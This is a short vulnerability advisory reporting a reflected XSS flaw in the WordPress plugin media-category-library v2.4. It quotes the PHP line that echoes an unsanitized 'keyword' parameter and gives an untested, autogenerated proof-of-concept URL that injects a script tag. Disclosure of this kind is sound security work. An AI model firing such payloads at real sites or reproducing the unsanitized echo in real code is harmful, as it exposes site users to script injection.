Advisory #: 884
Title: Reflected XSS in wordpress plugin media-category-library v2.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/media-category-library
Downloads: 20134
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: media-category-library
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./media-category-library/views/list.php: 20: <input type="text" id="doc-library-keyword" name="doc-library-keyword" value="<?php echo $_REQUEST['keyword']; ?>"> <input type="button" id="doc-library-search" class="button button-secondary action" value="<?php _e( 'Search', self::nspace ); ?>"> The variable keyword appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./media-category-library/views/list.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/media-category-library/views/list.php?keyword="><script>alert(1);</script><"